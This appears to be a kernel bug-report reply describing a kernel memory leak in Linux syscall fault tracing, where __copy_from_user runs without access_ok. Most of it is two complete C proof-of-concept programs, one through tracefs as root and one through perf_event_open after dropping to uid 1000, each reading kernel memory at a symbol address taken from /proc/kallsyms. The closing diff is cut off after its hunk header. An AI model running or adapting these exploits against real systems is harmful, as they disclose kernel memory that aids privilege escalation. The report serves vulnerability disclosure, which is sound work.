Re: [BUG] tracing: __copy_from_user without access_ok leaks kernel memory in syscall fault tracing

/* syscall_copy_user_array() - syscall fault tracing */
__copy_from_user(buf, ptr, size);   /* ptr = args[1] (raw syscall buffer arg), no access_ok() */

/*
 *
 * Build: gcc -O2 -o poc_syscall_fault_leak poc_syscall_fault_leak.c
 * Run:   sudo ./poc_syscall_fault_leak
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <stdint.h>

#define TRACEFS "/sys/kernel/tracing"
#define EVT     TRACEFS "/events/syscalls/sys_enter_write"

static int write_file(const char *path, const char *val)
{
    int fd = open(path, O_WRONLY);
    if (fd < 0)
        return -1;
    if (write(fd, val, strlen(val)) < 0) {
        close(fd);
        return -1;
    }
    close(fd);
    return 0;
}

static unsigned long lookup_sym(const char *sym)
{
    FILE *f = fopen("/proc/kallsyms", "r");
    if (!f)
        return 0;
    char line[256], name[128];
    unsigned long a;
    char t;
    while (fgets(line, sizeof(line), f))
        if (sscanf(line, "%lx %c %127s", &a, &t, name) == 3 && a && !strcmp(name, sym)) {
            fclose(f);
            return a;
        }
    fclose(f);
    return 0;
}

static char *read_file(const char *path, char *buf, size_t cap)
{
    int fd = open(path, O_RDONLY);
    if (fd < 0)
        return NULL;
    size_t total = 0;
    ssize_t n;
    while (total < cap - 1 && (n = read(fd, buf + total, cap - 1 - total)) > 0)
        total += n;
    buf[total] = 0;
    close(fd);
    return buf;
}

int main(void)
{
    if (getuid() != 0) {
        fprintf(stderr, "[-] must run as root (tracefs is root-only, perf_event_paranoid=2)\n");
        return 1;
    }

    unsigned long kaddr = lookup_sym("linux_banner");
    if (!kaddr) {
        fprintf(stderr, "[-] cannot resolve linux_banner from /proc/kallsyms\n");
        return 1;
    }
    printf("[+] target: linux_banner @ 0x%lx\n", kaddr);
    printf("[+]   (kernel string: \"Linux version 7.x (root@...) ...\")\n");
    printf("[+] vuln site: trace_syscalls.c:686 syscall_copy_user_array -> __copy_from_user (no access_ok)\n\n");

    int devnull = open("/dev/null", O_WRONLY);
    if (devnull < 0) {
        perror("open /dev/null");
        return 1;
    }

    if (access(EVT "/enable", W_OK) != 0) {
        fprintf(stderr, "[-] %s/enable not writable (%s)\n", EVT, strerror(errno));
        fprintf(stderr, "    -> CONFIG_FTRACE_SYSCALLS off, or tracefs not mounted\n");
        return 1;
    }

    write_file(TRACEFS "/trace", "\n");

    int pipefd[2];
    if (pipe(pipefd) < 0) {
        perror("pipe");
        return 1;
    }

    pid_t child = fork();
    if (child < 0) {
        perror("fork");
        return 1;
    }
    if (child == 0) {
        close(pipefd[1]);
        char c;
        read(pipefd[0], &c, 1);    /* wait until parent finished enabling */
        close(pipefd[0]);
        /*
         * THE TRIGGER: write(fd, KERNEL_ADDR, 200).
         * The buf argument is a kernel address. The sys_enter tracepoint
         * fires before vfs_write's access_ok, and __copy_from_user copies
         * directly from that kernel address -> kernel memory enters the trace.
         * write() then returns EFAULT, but the leak is already complete.
         */
        syscall(__NR_write, devnull, (void *)kaddr, 200);
        _exit(0);
    }
    close(pipefd[0]);

    char filter[64];
    snprintf(filter, sizeof(filter), "common_pid == %d", child);
    if (write_file(EVT "/filter", filter) < 0)
        fprintf(stderr, "[!] set filter failed: %s\n", strerror(errno));

    if (write_file(EVT "/enable", "1") < 0)
        fprintf(stderr, "[!] enable event failed: %s\n", strerror(errno));

    write(pipefd[1], "x", 1);
    close(pipefd[1]);
    waitpid(child, NULL, 0);

    write_file(EVT "/enable", "0");
    write_file(EVT "/filter", "0");

    char buf[65536];
    if (!read_file(TRACEFS "/trace", buf, sizeof(buf))) {
        fprintf(stderr, "[-] cannot read trace\n");
        return 1;
    }

    char *line = strstr(buf, "write(fd:");
    if (!line) {
        printf("[-] no sys_enter_write event captured.\n");
        printf("--- trace dump ---\n%s\n", buf);
        return 1;
    }
    char *eol = strchr(line, '\n');
    if (eol)
        *eol = 0;

    printf("[+] captured sys_enter_write event:\n    %s\n\n", line);

    if (strstr(line, "Linux version")) {
        printf("[!] ============================================================\n");
        printf("[!] KERNEL MEMORY LEAK CONFIRMED at trace_syscalls.c:686\n");
        printf("[!] trace event contains the kernel banner string,\n");
        printf("[!] read from 0x%lx via __copy_from_user() WITHOUT access_ok()\n", kaddr);
        printf("[!] ============================================================\n");
        return 0;
    }

    char *q1 = strchr(line, '"');
    if (q1) {
        char *q2 = strrchr(line, '"');
        if (q2 > q1) {
            printf("[!] leaked ASCII segment: \"%.*s\"\n", (int)(q2 - q1 - 1), q1 + 1);
            if (strstr(q1, "Linux") || strstr(q1, "version")) {
                printf("[!] KERNEL MEMORY LEAK CONFIRMED\n");
                return 0;
            }
        }
    }
    printf("[?] no recognizable kernel string - inspect the hex blob in the event line above.\n");
    return 2;
}

/*
 * perf_syscall_fault_leak.c
 *
 * Reproducer for the PERF path of the syscall fault tracing leak.
 *
 * The sys_enter_write tracepoint is opened as a perf event on the
 * calling process. write(fd, <kernel addr>, count) then fires that
 * tracepoint before vfs_write performs access_ok, and
 * syscall_copy_user_array() copies kernel memory into the perf record
 * with __copy_from_user. The record lands in the caller's own perf
 * ring buffer, which the process mmaps for its own event, so the
 * leaked bytes are readable with no privilege beyond opening the event.
 *
 * Build: gcc -O2 -o perf_syscall_fault_leak perf_syscall_fault_leak.c
 *
 * Unprivileged case (the escalation this path enables):
 *   # echo -1 > /proc/sys/kernel/perf_event_paranoid
 *   # mount -o remount,mode=0755 /sys/kernel/tracing
 *   # ./perf_syscall_fault_leak        # drops to uid 1000 internally
 *
 * The output ring is the process own mmap buffer, not
 * /sys/kernel/tracing/trace, so no root is needed to read the result.
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <linux/perf_event.h>
#include <asm/unistd.h>

static long perf_open(struct perf_event_attr *a, pid_t p, int c, int g, unsigned long f)
{
    return syscall(__NR_perf_event_open, a, p, c, g, f);
}

static int drop_to_user(uid_t u)
{
    if (setresgid(u, u, u) < 0 || setresuid(u, u, u) < 0) {
        perror("setresuid");
        return -1;
    }
    return 0;
}

static unsigned long read_tracepoint_id(void)
{
    int fd = open("/sys/kernel/tracing/events/syscalls/sys_enter_write/id", O_RDONLY);
    if (fd < 0)
        return 0;
    char b[32];
    int n = read(fd, b, sizeof(b) - 1);
    close(fd);
    if (n <= 0)
        return 0;
    b[n] = 0;
    return strtoul(b, 0, 10);
}

static unsigned long lookup_sym(const char *sym)
{
    FILE *f = fopen("/proc/kallsyms", "r");
    if (!f)
        return 0;
    char line[256], nm[128];
    unsigned long a;
    char t;
    while (fgets(line, sizeof(line), f))
        if (sscanf(line, "%lx %c %127s", &a, &t, nm) == 3 && a && !strcmp(nm, sym)) {
            fclose(f);
            return a;
        }
    fclose(f);
    return 0;
}

int main(void)
{
    if (geteuid() == 0) {
        printf("[*] started as root, dropping to uid 1000 to exercise the unprivileged path\n");
        if (drop_to_user(1000) < 0)
            return 1;
    }
    printf("[*] running as uid=%d euid=%d\n", getuid(), geteuid());

    unsigned long id = read_tracepoint_id();
    if (!id) {
        fprintf(stderr, "[-] cannot read the sys_enter_write tracepoint id from tracefs\n");
        fprintf(stderr, "    (tracefs is root only by default; expose it to read the id)\n");
        return 1;
    }

    unsigned long kaddr = lookup_sym("linux_banner");
    if (!kaddr) {
        fprintf(stderr, "[-] cannot resolve linux_banner from /proc/kallsyms\n");
        fprintf(stderr, "    (hidden unless perf_event_paranoid <= 1 with kptr_restrict = 0)\n");
        return 1;
    }

    printf("[+] sys_enter_write tracepoint id = %lu\n", id);
    printf("[+] target linux_banner @ 0x%lx\n", kaddr);

    struct perf_event_attr attr;
    memset(&attr, 0, sizeof(attr));
    attr.size = sizeof(attr);
    attr.type = PERF_TYPE_TRACEPOINT;
    attr.config = id;
    attr.sample_period = 1;
    attr.sample_type = PERF_SAMPLE_RAW;
    attr.wakeup_events = 1;

    int pfd = -1, saved = 0, cpu_used = -2;
    for (int cpu = -1; cpu < 4 && pfd < 0; cpu++) {
        errno = 0;
        pfd = (int)perf_open(&attr, 0, cpu, -1, 0);
        saved = errno;
        if (pfd >= 0) {
            cpu_used = cpu;
            break;
        }
        if (saved == EPERM || saved == EACCES)
            break;
    }
    if (pfd < 0) {
        fprintf(stderr, "[-] perf_event_open failed: %s (errno=%d)\n", strerror(saved), saved);
        fprintf(stderr, "    (needs perf_event_paranoid = -1 or CAP_PERFMON/CAP_SYS_ADMIN)\n");
        return 1;
    }
    printf("[+] perf_event_open ok, fd=%d, cpu=%d (no capability used)\n", pfd, cpu_used);

    int ps = sysconf(_SC_PAGESIZE);
    int npages = 64;
    size_t mapsize = (size_t)(npages + 1) * ps;
    void *base = mmap(NULL, mapsize, PROT_READ | PROT_WRITE, MAP_SHARED, pfd, 0);
    if (base == MAP_FAILED) {
        perror("mmap");
        return 1;
    }
    struct perf_event_mmap_page *pc = base;
    ioctl(pfd, PERF_EVENT_IOC_ENABLE, 0);

    int devnull = open("/dev/null", O_WRONLY);
    if (devnull < 0) {
        perror("open /dev/null");
        return 1;
    }

    printf("[+] triggering write(fd, 0x%lx, 200) ...\n", kaddr);
    long wr = syscall(__NR_write, devnull, (void *)kaddr, 200);
    printf("[+] write() returned %ld, errno=%d (%s)\n", wr, errno,
        wr < 0 ? "vfs_write rejected the kernel addr, but the tracepoint copy already happened" : "");
    close(devnull);

    int found = 0;
    for (int iter = 0; iter < 400 && !found; iter++) {
        __sync_synchronize();
        unsigned long head = pc->data_head;
        unsigned long tail = pc->data_tail;
        if (head == tail) {
            usleep(1000);
            continue;
        }
        unsigned char *data = (unsigned char *)base + ps;
        size_t dsize = (size_t)npages * ps;
        unsigned char *hit = memmem(data, dsize, "Linux version", 13);
        if (hit) {
            found = 1;
            printf("[!] LEAK CONFIRMED in the perf ring buffer:\n   ");
            for (int i = 0; i < 96; i++)
                putchar(isprint(hit[i]) ? hit[i] : '.');
            printf("\n");
        }
        __sync_synchronize();
        pc->data_tail = head;
    }

    if (!found)
        printf("[-] no 'Linux version' in the perf ring buffer\n");

    munmap(base, mapsize);
    close(pfd);
    return found ? 0 : 1;
}

diff --git a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
index 8a4f3c7..6406123 100644
--- a/kernel/trace/trace_syscalls.c
+++ b/kernel/trace/trace_syscalls.c

@@ -682,7 +682,7 @@ static int syscall_copy_user_array(char *buf, const char __user *ptr,